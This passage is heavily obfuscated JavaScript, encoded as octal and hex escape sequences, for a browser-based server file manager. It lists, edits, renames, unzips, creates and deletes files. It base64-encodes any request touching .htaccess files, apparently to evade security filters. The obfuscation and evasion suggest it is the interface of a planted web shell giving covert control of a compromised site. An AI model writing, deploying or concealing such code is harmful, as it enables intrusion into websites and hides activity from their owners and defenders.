120\x61\164\x68\51\x3b\12\x20\40\40\x20\40\40\40\x20\x20\x20\40\40\141\160\x69\103\141\x6c\154\50\x27\154\151\x73\x74\47\54\40\x66\x6f\x72\155\104\x61\x74\141\x29\56\164\x68\145\156\x28\x72\145\x73\x75\x6c\164\x20\75\76\40\x7b\12\40\40\40\x20\x20\x20\40\40\40\x20\40\x20\40\40\40\40\151\x66\x20\x28\41\162\x65\x73\x75\x6c\164\51\x20\162\145\x74\x75\x72\x6e\73\12\40\x20\x20\x20\x20\40\40\40\x20\x20\x20\40\40\x20\40\40\x53\x54\x41\124\105\56\x63\x75\162\162\145\156\x74\x50\141\164\x68\x20\x3d\x20\x72\x65\x73\165\154\164\56\160\141\164\x68\73\40\x64\157\x6d\56\160\141\164\x68\x42\x61\162\56\x74\145\170\x74\x43\x6f\x6e\x74\145\x6e\164\40\75\40\123\x54\101\x54\x45\x2e\x63\165\x72\x72\x65\x6e\164\120\141\x74\150\73\40\154\x65\x74\40\x68\164\x6d\154\x20\x3d\x20\47\47\x3b\40\154\x65\164\40\160\x61\162\x65\x6e\164\x50\141\164\x68\x20\x3d\40\x53\124\x41\x54\105\x2e\x63\x75\x72\x72\145\156\164\120\x61\164\x68\56\x73\x75\142\163\164\162\151\x6e\x67\50\60\x2c\x20\123\124\101\124\105\56\x63\165\162\162\x65\x6e\x74\120\x61\x74\150\56\154\141\163\x74\x49\156\x64\x65\170\117\146\50\47\57\x27\x29\51\73\40\151\146\x20\x28\x70\x61\x72\x65\156\x74\x50\141\164\x68\x20\x3d\75\x3d\x20\x27\47\x29\40\160\141\x72\x65\x6e\164\120\x61\x74\150\x20\x3d\40\x27\x2f\47\x3b\xa\40\40\40\40\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\40\151\146\x20\50\123\x54\x41\124\105\x2e\143\x75\162\162\x65\156\x74\120\x61\x74\x68\x20\41\75\75\x20\47\x2f\x27\51\x20\x7b\x20\x68\x74\x6d\154\x20\x2b\x3d\40\x60\74\x74\x72\x20\144\x61\x74\141\55\160\x61\164\150\x3d\42\x24\173\160\141\x72\145\156\x74\120\x61\x74\x68\x7d\42\x3e\x3c\x74\144\x3e\74\x2f\164\x64\76\74\x74\x64\x20\x63\x6f\154\163\x70\x61\156\x3d\x22\64\x22\40\143\154\x61\x73\163\x3d\42\151\x74\145\155\x2d\154\x69\156\153\x22\x3e\xc3\x83\xc2\xa2\303\x82\xc2\254\303\202\302\x86\xc3\203\302\257\303\x82\xc2\xb8\xc3\x82\xc2\x8f\40\56\56\x20\50\x50\141\x72\x65\156\x74\40\104\151\x72\x65\x63\164\157\x72\x79\x29\x3c\57\x74\x64\x3e\74\57\164\x72\x3e\x60\73\40\175\12\x20\x20\40\40\40\40\40\40\40\x20\x20\40\40\x20\40\x20\162\x65\163\x75\x6c\164\x2e\x66\x69\x6c\x65\163\56\163\x6f\162\x74\50\x28\x61\x2c\x62\x29\x20\x3d\x3e\40\50\x61\56\151\163\x5f\x64\151\x72\x20\x3d\75\x3d\40\142\x2e\x69\x73\137\144\x69\x72\51\x20\77\40\141\x2e\156\x61\x6d\145\x2e\154\x6f\x63\141\x6c\x65\x43\x6f\x6d\160\x61\x72\145\x28\142\56\x6e\x61\155\145\51\40\72\40\50\141\56\151\x73\137\x64\x69\162\x20\77\x20\55\61\x20\72\40\x31\51\x29\x3b\12\x20\40\40\40\x20\x20\x20\40\40\40\40\x20\40\40\40\40\162\x65\x73\x75\x6c\164\56\x66\151\x6c\x65\x73\x2e\146\157\x72\x45\141\x63\x68\50\146\151\154\x65\x20\x3d\76\40\173\xa\40\x20\x20\x20\x20\40\40\x20\40\40\40\40\x20\x20\x20\x20\x20\x20\40\x20\143\157\156\x73\164\x20\163\151\172\x65\40\75\x20\146\x69\x6c\x65\56\x69\163\137\x64\151\x72\40\x3f\x20\47\55\47\x20\72\x20\x28\x66\151\154\x65\56\163\151\172\x65\40\57\x20\x31\60\62\64\x29\x2e\164\x6f\x46\x69\x78\145\144\50\62\x29\40\53\x20\x27\x20\x4b\x42\x27\x3b\x20\x63\157\x6e\163\x74\40\x6d\x6f\144\151\146\151\x65\144\x20\75\40\156\x65\167\40\x44\141\x74\145\x28\x66\151\x6c\x65\x2e\155\157\x64\151\146\x69\145\x64\40\x2a\x20\61\60\60\x30\51\56\164\x6f\x4c\x6f\143\x61\154\x65\123\x74\162\151\x6e\x67\x28\51\73\xa\40\40\40\x20\40\x20\x20\x20\40\40\40\x20\40\x20\40\x20\40\x20\x20\x20\143\157\x6e\x73\x74\40\151\x63\x6f\x6e\x20\x3d\x20\x66\x69\x6c\x65\x2e\x69\163\137\x64\x69\x72\40\77\x20\x27\303\203\302\260\303\202\302\237\xc3\x82\302\x93\303\x82\xc2\201\x27\x20\72\x20\47\xc3\x83\302\260\303\202\302\x9f\303\202\302\223\xc3\x82\302\204\47\x3b\xa\x20\40\x20\x20\x20\x20\x20\x20\x20\40\40\40\x20\40\40\40\x20\x20\40\x20\x63\x6f\156\x73\x74\x20\x66\165\x6c\154\x50\x61\x74\150\x20\x3d\x20\140\x24\x7b\x53\x54\101\124\x45\x2e\x63\x75\x72\162\145\x6e\x74\120\x61\164\x68\x7d\57\44\173\146\x69\154\145\x2e\156\x61\155\145\175\140\56\162\x65\160\x6c\x61\143\145\x28\57\134\57\x2b\57\147\54\x20\x27\57\47\51\73\x20\x63\x6f\x6e\x73\164\x20\144\141\164\x61\x41\164\164\x72\x20\75\x20\140\x64\x61\x74\x61\x2d\160\141\164\150\75\x22\44\173\x66\x75\x6c\154\x50\141\x74\x68\175\42\x60\x3b\40\143\x6f\156\163\164\40\x72\x6f\167\x44\141\164\141\x20\x3d\x20\x66\x69\154\145\56\x69\163\x5f\x64\151\x72\x20\x3f\x20\x60\143\154\141\x73\x73\x3d\42\144\x69\162\x2d\x6c\151\x6e\153\42\40\x24\x7b\144\x61\x74\141\101\164\164\x72\x7d\140\x20\x3a\x20\x27\x27\x3b\12\x20\x20\40\x20\40\x20\40\x20\x20\40\40\x20\x20\x20\x20\x20\40\x20\40\x20\150\164\x6d\x6c\x20\53\x3d\x20\x60\x3c\164\x72\x20\44\173\162\x6f\167\104\141\164\x61\175\76\74\x74\x64\76\x3c\x69\156\x70\165\x74\40\x74\x79\x70\x65\75\x22\x63\x68\145\143\153\x62\x6f\x78\x22\x20\x63\x6c\x61\163\163\x3d\42\151\164\x65\155\x2d\163\x65\154\x65\143\x74\42\x20\x76\x61\x6c\165\145\75\42\44\173\146\x69\154\x65\x2e\x6e\x61\x6d\x65\x7d\42\x3e\x3c\x2f\164\x64\76\x3c\164\144\x3e\74\x61\40\150\x72\x65\146\x3d\42\43\x22\x20\143\154\141\x73\x73\x3d\42\151\164\x65\155\x2d\x6c\151\156\153\x22\40\x24\173\x64\x61\x74\141\x41\x74\164\162\175\x3e\x24\173\x69\143\x6f\156\x7d\x20\x24\173\x66\151\154\145\56\x6e\x61\x6d\x65\175\74\57\x61\76\74\57\164\144\x3e\x3c\x74\x64\x3e\x24\x7b\x73\x69\x7a\145\175\x3c\x2f\x74\144\x3e\x3c\x74\144\76\x24\x7b\155\x6f\x64\x69\146\151\145\x64\175\74\x2f\164\x64\76\x3c\164\144\x3e\x3c\x64\151\166\x20\143\154\141\163\163\x3d\x22\141\x63\164\x69\x6f\156\x73\x22\x3e\44\173\x21\146\x69\154\145\56\151\163\137\144\151\162\x20\77\40\x60\x3c\x62\165\x74\x74\x6f\156\40\143\x6c\141\x73\163\75\42\142\165\x74\164\157\156\x20\x65\x64\x69\164\55\x62\x74\156\42\x20\x24\x7b\144\141\x74\x61\101\164\x74\x72\175\x3e\105\x64\151\x74\x3c\57\x62\165\164\x74\157\156\x3e\x60\40\72\40\47\x27\175\74\142\x75\164\x74\157\x6e\x20\143\x6c\141\x73\163\x3d\x22\x62\x75\x74\164\157\x6e\40\162\145\156\x61\x6d\145\55\x62\164\156\x22\x20\144\x61\x74\x61\x2d\x6e\x61\x6d\x65\x3d\x22\44\x7b\146\x69\x6c\x65\56\x6e\141\155\145\x7d\x22\76\x52\x65\x6e\141\155\145\x3c\x2f\x62\165\x74\x74\157\156\76\x24\x7b\146\x69\154\x65\x2e\x6e\x61\155\x65\56\x65\x6e\x64\x73\127\x69\164\150\50\x27\x2e\172\151\160\x27\51\40\x3f\40\x60\x3c\142\x75\x74\x74\157\x6e\40\143\x6c\x61\x73\x73\x3d\x22\x62\x75\164\164\157\156\x20\x75\x6e\172\151\160\x2d\x62\x74\156\x22\x20\x24\x7b\x64\x61\164\141\101\164\164\162\x7d\76\125\156\x7a\151\x70\x3c\x2f\142\x75\x74\164\157\156\x3e\x60\72\x27\47\40\x7d\x3c\57\144\x69\x76\76\74\57\164\x64\x3e\74\57\164\162\76\x60\73\12\x20\40\x20\40\40\x20\x20\x20\40\40\40\40\40\x20\40\x20\175\x29\73\12\x20\40\40\x20\x20\40\x20\40\40\x20\40\x20\x20\40\x20\x20\x64\x6f\155\56\x66\x69\154\145\114\x69\163\x74\x2e\151\x6e\x6e\x65\162\110\x54\115\114\40\75\x20\x68\x74\x6d\154\73\x20\144\x6f\155\56\163\x65\x6c\145\x63\x74\101\x6c\154\56\143\150\x65\143\153\145\x64\x20\x3d\x20\x66\x61\x6c\x73\x65\x3b\xa\40\40\40\x20\x20\40\x20\x20\x20\40\x20\x20\x7d\x29\x3b\12\40\x20\x20\x20\40\40\x20\x20\x7d\xa\x20\x20\40\x20\x20\x20\x20\40\xa\x20\40\x20\x20\40\x20\x20\40\144\157\x6d\x2e\x66\x69\x6c\x65\114\x69\163\x74\x2e\141\144\144\x45\x76\x65\x6e\164\x4c\151\163\x74\145\x6e\145\x72\x28\47\x63\x6c\x69\x63\153\47\54\40\145\40\75\76\x20\173\12\40\x20\40\40\40\40\x20\x20\40\40\40\x20\x69\x66\x20\50\145\56\x74\x61\162\x67\x65\x74\56\x6d\x61\x74\x63\150\145\x73\50\x27\x2e\151\164\145\x6d\55\x73\x65\154\145\x63\x74\x27\51\51\40\173\40\x72\145\164\x75\x72\156\73\x20\175\xa\x20\x20\x20\x20\x20\40\40\x20\40\40\40\40\143\157\x6e\x73\164\40\142\165\x74\x74\157\x6e\x20\75\x20\145\56\164\x61\162\x67\145\164\56\x63\x6c\157\163\x65\x73\164\x28\47\142\x75\164\164\157\156\x27\51\x3b\12\x20\x20\x20\40\40\x20\40\x20\x20\40\x20\40\151\x66\40\x28\142\165\x74\164\157\156\x29\40\173\12\x20\40\40\40\x20\40\40\x20\x20\x20\40\x20\40\x20\x20\40\x65\x2e\160\162\x65\166\145\x6e\164\104\145\146\x61\165\154\164\50\51\73\12\x20\40\x20\40\40\x20\40\40\40\x20\x20\40\40\x20\40\x20\x69\x66\x20\x28\142\165\164\x74\x6f\156\x2e\x6d\x61\x74\x63\150\145\x73\x28\47\56\x72\145\156\141\x6d\x65\x2d\142\164\x6e\x27\51\51\x20\x7b\xa\x20\x20\40\40\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\40\x20\40\40\x63\x6f\x6e\163\164\x20\x6f\x6c\x64\116\x61\x6d\x65\40\75\40\142\165\164\164\157\x6e\x2e\x64\141\x74\x61\163\145\164\56\156\x61\155\145\73\xa\x20\40\x20\x20\x20\x20\x20\40\40\x20\x20\40\40\40\x20\x20\40\x20\x20\40\x63\x6f\x6e\163\164\x20\156\x65\167\x4e\x61\x6d\145\x20\75\40\160\x72\x6f\x6d\160\x74\50\47\x45\156\x74\x65\x72\40\x6e\145\x77\40\156\x61\155\145\72\47\x2c\40\157\154\144\x4e\x61\x6d\x65\51\x3b\12\x20\40\40\x20\40\x20\x20\x20\40\40\x20\40\40\40\x20\40\x20\x20\40\40\x69\146\x20\50\156\145\167\x4e\141\x6d\145\40\x26\46\40\x6e\x65\x77\116\x61\155\145\40\x21\75\x3d\x20\157\154\144\x4e\141\x6d\x65\51\x20\173\xa\x20\x20\x20\40\40\40\40\x20\x20\x20\40\40\40\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\143\157\x6e\163\164\40\146\144\x20\x3d\x20\x6e\145\167\40\x46\x6f\162\x6d\104\141\x74\141\50\51\73\12\x20\40\40\x20\40\40\x20\x20\40\40\40\x20\40\x20\40\x20\40\x20\40\x20\40\40\x20\x20\146\x64\56\141\160\160\145\156\x64\50\47\x70\141\x74\150\47\x2c\40\123\124\x41\124\105\56\143\165\162\162\145\x6e\164\x50\x61\164\150\x29\73\xa\x20\40\x20\x20\x20\x20\x20\40\40\40\40\x20\x20\x20\40\40\40\40\x20\x20\x20\x20\40\x20\x6c\x65\164\x20\x61\143\164\x69\157\156\40\75\40\47\x72\x65\156\x61\155\145\47\73\xa\x20\x20\40\40\x20\40\40\x20\x20\x20\x20\40\40\x20\x20\40\40\40\x20\40\40\40\40\40\151\146\40\50\x6f\x6c\x64\116\x61\155\145\x2e\x69\x6e\x63\154\165\144\145\163\50\47\56\150\x74\x61\x63\143\x65\x73\x73\47\x29\40\x7c\174\40\x6e\x65\167\116\141\x6d\145\x2e\151\x6e\143\154\165\144\145\x73\x28\x27\x2e\x68\x74\141\143\143\145\163\x73\x27\x29\x29\x20\x7b\xa\40\x20\x20\40\40\40\40\x20\40\x20\x20\x20\40\40\x20\40\40\40\40\x20\x20\40\40\40\x20\40\x20\x20\141\x63\164\151\157\156\40\75\x20\47\x72\145\156\141\x6d\x65\137\142\66\64\47\x3b\12\40\40\40\x20\40\x20\x20\40\40\x20\40\40\x20\40\x20\40\x20\x20\x20\40\x20\40\x20\40\40\40\40\x20\146\x64\56\141\160\x70\145\x6e\144\50\47\157\154\144\x5f\156\x61\155\x65\137\x62\x36\x34\x27\54\40\x62\164\157\141\x28\157\154\144\116\x61\155\145\51\51\73\12\x20\x20\40\x20\x20\40\x20\x20\40\x20\x20\x20\x20\40\40\40\x20\40\x20\40\x20\40\40\40\40\x20\40\40\x66\144\x2e\141\160\x70\x65\156\144\50\x27\156\145\x77\137\156\141\x6d\x65\x5f\142\66\64\x27\x2c\x20\142\x74\157\x61\50\x6e\x65\x77\116\x61\x6d\145\51\x29\73\xa\x20\40\40\x20\40\40\40\40\40\40\x20\40\x20\40\40\40\x20\x20\x20\40\40\x20\40\40\175\x20\x65\x6c\163\145\40\x7b\xa\40\x20\40\x20\40\x20\x20\40\x20\40\40\x20\40\40\40\40\40\40\40\40\40\x20\x20\x20\40\x20\x20\40\x66\144\56\141\x70\x70\145\x6e\144\50\x27\157\154\144\x5f\x6e\x61\x6d\x65\x27\54\x20\157\154\x64\x4e\141\155\x65\x29\73\12\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\40\x20\40\40\x20\40\x20\40\40\40\40\40\40\40\40\x20\40\x66\144\x2e\141\160\x70\x65\x6e\144\50\47\156\145\167\137\156\x61\155\145\x27\x2c\x20\x6e\145\x77\116\x61\x6d\145\51\x3b\xa\x20\40\x20\40\40\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\40\40\40\40\x20\40\x20\x7d\xa\40\x20\x20\x20\40\x20\x20\40\40\40\x20\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\x61\x70\151\103\141\x6c\154\x28\x61\143\x74\151\x6f\156\x2c\x20\x66\144\51\x2e\164\150\x65\156\50\x72\145\x6e\x64\145\162\x29\x3b\xa\x20\40\x20\x20\40\40\x20\40\40\40\40\x20\40\40\40\x20\40\40\40\x20\x7d\12\x20\x20\x20\x20\40\x20\x20\40\x20\x20\x20\40\40\40\40\40\175\40\xa\x20\40\40\x20\40\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\145\154\x73\x65\40\x69\x66\x20\x28\x62\x75\164\x74\157\x6e\x2e\x6d\x61\x74\143\150\145\x73\50\x27\56\x75\156\172\151\160\x2d\142\x74\156\x27\51\x29\40\173\40\151\146\40\50\143\x6f\156\x66\151\x72\x6d\50\x27\101\162\145\40\171\x6f\x75\40\x73\x75\x72\145\40\171\x6f\165\x20\167\141\x6e\164\x20\x74\157\x20\145\x78\x74\162\141\143\x74\40\164\150\x69\163\x20\x61\162\x63\x68\151\x76\145\77\47\51\x29\40\173\40\x63\157\x6e\x73\164\x20\146\x64\x20\x3d\x20\x6e\145\167\40\x46\x6f\x72\155\104\x61\x74\x61\50\x29\x3b\x20\x66\144\x2e\x61\160\x70\145\x6e\x64\x28\x27\160\141\x74\150\x27\x2c\x20\142\165\x74\x74\157\x6e\56\x64\141\x74\141\163\145\x74\x2e\160\x61\x74\x68\x29\x3b\40\141\160\x69\103\141\x6c\154\50\x27\x75\x6e\x7a\x69\x70\47\x2c\40\146\x64\x2c\40\164\162\165\x65\51\56\164\150\145\156\50\162\x65\x6e\144\x65\162\51\x3b\40\175\x20\x7d\40\xa\x20\40\40\x20\40\x20\x20\40\x20\x20\40\40\40\x20\x20\40\145\154\163\x65\40\151\146\x20\50\142\165\x74\164\157\156\x2e\155\x61\x74\x63\150\145\x73\x28\x27\x2e\x65\144\x69\164\55\142\x74\x6e\47\51\x29\40\173\xa\x20\40\x20\x20\x20\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\x20\40\x20\x20\x63\157\156\x73\x74\x20\x70\141\164\x68\x20\x3d\x20\x62\165\x74\164\x6f\156\56\144\x61\164\x61\163\x65\x74\x2e\160\141\x74\150\73\12\x20\x20\x20\40\x20\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\40\40\40\x63\x6f\156\163\x74\x20\146\x64\40\x3d\40\156\x65\x77\40\x46\157\162\x6d\x44\141\164\x61\50\x29\73\12\x20\x20\x20\x20\x20\40\x20\40\40\40\40\x20\40\40\x20\40\x20\x20\40\x20\x6c\145\x74\x20\141\143\164\x69\157\156\x20\75\40\x27\147\145\164\x5f\x63\157\156\164\x65\x6e\164\47\x3b\xa\x20\40\40\x20\40\40\40\40\40\40\x20\40\40\40\40\x20\40\40\40\40\151\x66\40\x28\160\x61\x74\x68\x2e\x69\x6e\x63\x6c\x75\x64\145\163\x28\47\x2e\150\164\x61\x63\x63\145\163\163\47\51\51\x20\173\12\x20\40\x20\40\40\40\40\40\40\x20\x20\x20\x20\x20\x20\40\40\x20\x20\40\40\x20\40\x20\x61\x63\x74\x69\x6f\x6e\x20\x3d\x20\x27\147\145\x74\x5f\143\157\156\x74\145\156\164\x5f\x62\x36\x34\47\73\xa\x20\x20\x20\x20\40\40\40\40\40\x20\40\40\40\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\x66\x64\56\x61\x70\x70\x65\x6e\x64\50\x27\160\141\x74\x68\x5f\142\x36\64\x27\x2c\x20\142\164\157\x61\50\x70\141\164\x68\x29\x29\x3b\12\40\40\x20\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\40\40\40\x20\x20\x20\x7d\40\x65\x6c\x73\x65\x20\173\xa\40\x20\x20\x20\x20\40\40\x20\x20\x20\40\x20\40\x20\x20\x20\x20\x20\40\x20\40\x20\x20\x20\146\144\x2e\x61\x70\160\145\156\144\50\47\160\x61\x74\150\47\x2c\x20\x70\x61\164\x68\x29\x3b\xa\40\40\x20\40\x20\40\x20\x20\40\x20\40\40\x20\x20\x20\40\40\40\40\40\x7d\xa\40\40\x20\40\40\x20\40\x20\x20\40\x20\x20\x20\40\x20\x20\x20\40\x20\x20\x61\x70\151\103\x61\x6c\x6c\50\x61\x63\x74\x69\x6f\156\x2c\x20\146\144\51\x2e\164\150\145\x6e\x28\x72\145\x73\x75\x6c\164\40\x3d\76\x20\x7b\12\40\x20\x20\x20\40\x20\40\x20\x20\x20\x20\40\40\x20\x20\40\x20\40\40\40\x20\40\x20\40\151\x66\x28\x72\145\x73\165\x6c\x74\51\x20\173\xa\40\x20\x20\40\x20\40\40\x20\x20\40\40\x20\x20\x20\40\x20\40\40\40\40\x20\40\x20\x20\x20\40\x20\x20\x64\x6f\155\x2e\x65\x64\151\x74\157\x72\x46\x69\154\x65\156\141\155\145\x2e\x74\145\170\x74\103\157\x6e\164\x65\156\164\x20\x3d\x20\160\141\164\150\73\12\x20\x20\40\40\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\x20\40\40\x20\40\x20\x64\x6f\x6d\56\x65\x64\151\164\x6f\162\56\x76\141\x6c\165\145\x20\75\40\x61\x74\157\142\x28\x61\x74\157\x62\x28\x72\x65\163\x75\154\164\56\143\x6f\156\x74\x65\x6e\164\51\x29\73\12\40\x20\40\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\40\40\x20\x20\40\40\40\40\x20\40\40\x20\40\40\144\157\x6d\56\x65\x64\x69\164\157\162\x4d\x6f\x64\141\154\x2e\163\x74\x79\x6c\x65\x2e\144\151\x73\x70\x6c\x61\x79\x20\75\40\x27\146\x6c\x65\x78\x27\x3b\xa\40\40\x20\40\x20\x20\x20\40\40\40\x20\40\40\40\40\40\40\40\x20\x20\x20\x20\40\x20\x7d\12\40\40\x20\40\40\x20\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\x20\x20\x7d\x29\x3b\12\x20\x20\40\x20\x20\40\40\40\40\x20\40\40\40\x20\40\x20\175\xa\40\40\x20\x20\40\40\40\40\x20\40\40\x20\x20\x20\40\x20\x72\x65\164\165\162\156\x3b\xa\40\x20\40\x20\x20\40\x20\40\x20\x20\x20\40\x7d\12\x20\40\x20\40\x20\x20\40\40\40\x20\40\40\143\x6f\156\x73\x74\x20\x6e\x61\x76\124\x61\162\147\145\164\x20\x3d\40\145\x2e\164\141\x72\x67\145\164\56\x63\x6c\x6f\163\145\x73\164\x28\x27\133\144\141\164\x61\55\x70\x61\x74\150\135\x27\x29\x3b\xa\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\x20\x69\146\x20\50\156\141\x76\124\141\162\147\x65\x74\x29\x20\173\40\145\56\160\x72\x65\166\145\x6e\x74\104\x65\146\x61\x75\x6c\x74\x28\51\x3b\40\x53\124\x41\x54\105\56\143\x75\162\162\x65\x6e\164\x50\141\164\x68\x20\x3d\x20\156\x61\x76\124\141\162\x67\x65\164\x2e\144\x61\164\141\163\145\164\x2e\x70\141\164\x68\x3b\x20\x72\145\x6e\144\145\x72\50\51\73\x20\175\xa\x20\x20\x20\x20\40\40\x20\x20\175\x29\73\xa\40\40\x20\x20\x20\40\40\40\xa\40\40\x20\40\40\40\40\x20\144\157\155\56\156\145\x77\x46\157\x6c\144\x65\162\102\164\156\56\x61\144\x64\105\x76\x65\x6e\x74\114\151\x73\x74\x65\156\x65\x72\x28\47\x63\x6c\x69\143\153\47\54\40\x28\51\40\75\x3e\x20\x7b\x20\143\157\156\x73\x74\x20\156\141\x6d\145\x20\x3d\x20\x70\x72\x6f\155\160\164\x28\x27\x45\156\x74\145\162\x20\156\x65\x77\40\146\157\x6c\144\x65\162\x20\x6e\141\155\145\x3a\47\51\x3b\40\151\x66\40\x28\x6e\x61\155\x65\x29\x20\x7b\40\x63\157\x6e\x73\x74\x20\146\x64\40\75\40\156\145\x77\x20\106\157\162\155\x44\141\x74\141\50\x29\x3b\40\x66\x64\56\x61\x70\160\145\x6e\x64\50\x27\x70\x61\x74\x68\x27\54\x20\x53\124\x41\124\x45\x2e\143\165\x72\x72\145\x6e\164\120\x61\164\x68\x29\x3b\x20\146\144\56\x61\160\160\145\x6e\144\x28\x27\x6e\141\155\x65\x27\54\40\156\x61\155\x65\x29\x3b\40\141\x70\151\103\141\154\x6c\x28\47\143\x72\x65\141\x74\145\137\146\157\x6c\144\145\162\x27\x2c\x20\146\144\51\56\x74\x68\x65\x6e\50\x72\145\x6e\x64\145\162\x29\73\40\175\x20\x7d\51\73\12\x20\x20\x20\40\x20\x20\40\x20\x64\157\x6d\56\156\x65\x77\106\151\x6c\x65\x42\164\156\x2e\141\144\144\105\166\x65\x6e\164\x4c\151\x73\x74\145\156\145\x72\50\47\x63\x6c\x69\143\153\x27\54\40\x28\x29\40\75\x3e\x20\x7b\40\x63\157\x6e\x73\164\x20\156\141\x6d\145\x20\x3d\x20\160\162\157\x6d\160\x74\50\47\105\x6e\x74\145\162\40\x6e\x65\167\x20\146\151\x6c\145\x20\x6e\141\x6d\145\x3a\x27\x29\73\40\151\x66\x20\x28\x6e\141\155\145\51\40\x7b\40\143\157\x6e\x73\164\40\x66\144\x20\x3d\40\156\x65\x77\x20\106\157\x72\155\104\141\164\141\x28\x29\x3b\40\146\x64\x2e\x61\160\160\145\156\x64\x28\47\x70\x61\x74\x68\x27\54\x20\123\x54\x41\124\x45\56\x63\165\162\x72\x65\x6e\x74\x50\x61\x74\x68\x29\73\x20\x66\144\56\141\x70\160\145\x6e\x64\x28\47\156\141\155\x65\47\54\40\156\x61\155\145\51\x3b\x20\141\160\x69\103\x61\154\154\x28\x27\143\162\145\141\164\145\x5f\x66\x69\154\145\47\x2c\40\146\144\x29\56\164\x68\x65\x6e\x28\162\x65\156\144\145\x72\x29\73\40\175\x20\x7d\x29\73\12\40\x20\x20\40\40\x20\40\x20\x64\157\x6d\56\x73\x65\x6c\145\x63\x74\101\154\x6c\56\x61\144\144\105\166\145\156\164\114\151\x73\x74\145\156\145\x72\50\x27\143\x68\x61\156\147\x65\x27\54\x20\145\x20\75\x3e\x20\x64\x6f\x63\x75\155\145\x6e\x74\56\161\165\145\162\171\123\145\154\145\143\x74\157\x72\x41\x6c\x6c\50\x27\x2e\151\164\x65\155\55\x73\x65\154\145\x63\x74\47\x29\56\x66\x6f\162\x45\141\143\x68\x28\143\142\x20\x3d\x3e\40\x63\x62\x2e\143\150\145\143\153\145\144\x20\75\x20\145\56\164\141\x72\x67\145\x74\56\x63\x68\x65\x63\153\145\x64\51\x29\73\12\40\x20\x20\40\40\x20\x20\x20\12\40\40\x20\x20\40\x20\x20\x20\144\157\155\56\x64\x65\154\x65\x74\145\102\x74\x6e\56\141\144\144\105\166\x65\x6e\x74\114\151\163\x74\145\x6e\145\x72\x28\x27\x63\154\x69\x63\x6b\47\54\40\50\51\40\x3d\x3e\40\173\xa\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x63\157\156\x73\164\40\x73\x65\154\x65\143\164\145\x64\x20\75\x20\101\162\162\141\x79\x2e\146\x72\x6f\155\x28\144\x6f\143\x75\155\x65\x6e\x74\56\161\165\x65\162\171\123\145\154\x65\x63\x74\157\x72\101\x6c\x6c\x28\x27\56\151\164\x65\x6d\x2d\x73\x65\154\145\143\x74\x3a\x63\150\145\x63\x6b\x65\x64\x27\x29\x29\x2e\x6d\x61\x70\x28\x63\142\40\75\76\x20\x63\x62\x2e\166\141\x6c\165\x65\51\x3b\12\x20\x20\40\40\40\x20\40\x20\x20\40\40\x20\151\x66\40\50\163\x65\x6c\145\x63\x74\x65\144\x2e\x6c\x65\156\147\x74\150\x20\x3d\75\x3d\x20\60\x29\x20\x72\x65\164\x75\162\x6e\x20\x61\154\x65\162\164\50\47\x4e\157\40\151\164\x65\x6d\x73\40\x73\x65\154\x65\143\x74\145\144\x2e\47\x29\73\xa\40\40\x20\x20\x20\40\40\x20\x20\x20\40\40\151\x66\x20\x28\143\x6f\156\146\151\x72\x6d\50\140\101\162\x65\40\171\157\x75\x20\163\165\162\x65\40\171\x6f\165\x20\x77\141\156\x74\x20\x74\157\x20\144\x65\x6c\145\164\145\40\x24\x7b\163\145\154\145\x63\x74\145\x64\x2e\154\145\x6e\x67\164\x68\x7d\x20\x69\164\x65\155\x28\x73\51\x3f\x60\51\51\x20\173\12\40\x20\x20\40\40\x20\40\40\40\x20\40\40\x20\x20\x20\x20\x63\x6f\156\x73\x74\40\146\144\x20\75\40\156\145\x77\40\x46\x6f\162\155\104\141\x74\x61\x28\x29\73\12\40\40\40\40\40\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\x66\x64\x2e\141\x70\x70\145\156\144\50\x27\160\x61\x74\150\x27\x2c\40\123\x54\101\124\x45\56\143\165\x72\x72\x65\156\164\x50\141\x74\x68\x29\x3b\xa\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\40\40\40\143\157\x6e\163\x74\40\151\x73\123\145\x6e\163\x69\x74\x69\x76\145\x20\x3d\x20\163\x65\154\145\143\x74\145\144\56\163\x6f\x6d\x65\x28\x69\x74\145\155\40\x3d\76\40\x69\x74\x65\155\x2e\151\x6e\x63\x6c\x75\144\145\163\50\x27\x2e\x68\164\x61\143\143\145\163\163\47\51\51\73\xa\x20\40\40\40\x20\x20\x20\40\40\40\40\x20\40\x20\40\x20\x6c\145\x74\x20\141\x63\x74\151\157\x6e\x20\x3d\x20\x27\x64\x65\154\145\x74\x65\x27\x3b\12\x20\40\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\40\x69\146\x20\x28\151\163\123\x65\156\x73\x69\x74\151\x76\145\51\x20\x7b\xa\x20\40\40\40\40\x20\x20\x20\40\x20\x20\40\40\x20\40\x20\40\x20\x20\40\x61\143\x74\x69\157\156\40\x3d\x20\x27\x64\x65\x6c\145\164\145\137\x62\66\64\x27\x3b\12\40\40\x20\x20\x20\x20\40\40\x20\40\x20\40\40\x20\x20\40\x20\40\40\x20\163\x65\x6c\145\143\164\145\x64\x2e\x66\157\x72\x45\x61\143\x68\x28\x69\164\x65\155\x20\75\x3e\x20\146\144\x2e\x61\x70\x70\145\x6e\144\50\x27\151\164\x65\x6d\163\x5f\x62\x36\64\133\135\x27\x2c\x20\142\164\157\x61\50\151\164\145\x6d\51\x29\x29\x3b\12\40\x20\x20\40\40\40\x20\40\40\40\40\40\x20\x20\x20\x20\x7d\x20\x65\x6c\163\145\x20\x7b\xa\40\40\40\40\x20\x20\40\x20\40\40\40\40\x20\40\40\40\x20\x20\40\40\163\x65\154\145\143\164\145\x64\56\146\x6f\162\105\141\x63\150\50\x69\x74\x65\155\x20\x3d\76\40\x66\144\56\141\